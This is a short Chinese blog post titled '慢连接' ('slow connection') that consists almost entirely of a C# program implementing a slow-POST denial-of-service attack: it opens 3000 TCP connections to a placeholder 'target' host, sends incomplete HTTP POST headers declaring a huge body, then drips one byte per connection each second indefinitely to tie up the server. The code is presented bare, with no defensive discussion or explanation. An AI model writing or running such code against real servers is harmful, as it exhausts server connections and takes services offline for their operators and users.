代码改变世界

慢连接

2013-06-10 09:38  Danny.tian  阅读(552)  评论(0编辑  收藏  举报
static void Main(string[] args)
        {
            string host = "target";
            int port = 8080;
            int max_number_of_connection = 3000;
            List<TcpClient> clients = new List<TcpClient>();

            for (int i = 0; i < max_number_of_connection; i++)
            {
                TcpClient client = new TcpClient();
                clients.Add(client);
                client.Connect(host, port);

                if (client.Connected)
                {
                    string header = "POST /a HTTP/1.1\r\n" +
                                    "HOST: " + host + "\r\n" +
                                    "Connection: keep-alive\r\n" +
                                    "Keep-Alive: 900\r\n" +
                                    "Content-Length: 100000000\r\n" +
                                    "Content_Type: application/x-www-form-urlencoded\r\n" +
                                    "Accept: *.*\r\n";
                    int sent = client.Client.Send(System.Text.Encoding.Default.GetBytes(header));
                    if (sent <= 0)
                    {
                        Console.WriteLine("Error while connecting to server");
                    }
                    else
                    {
                        Console.WriteLine("Connected");
                    }
                }
            }

            while (true)
            {
                int i = 0;
                foreach (TcpClient client in clients)
                {
                    i++;
                    client.Client.Send(System.Text.Encoding.Default.GetBytes("a"));
                    Console.WriteLine("Client " + i + " just sent a byte.");
                }
                Thread.Sleep(1000);
            }
        }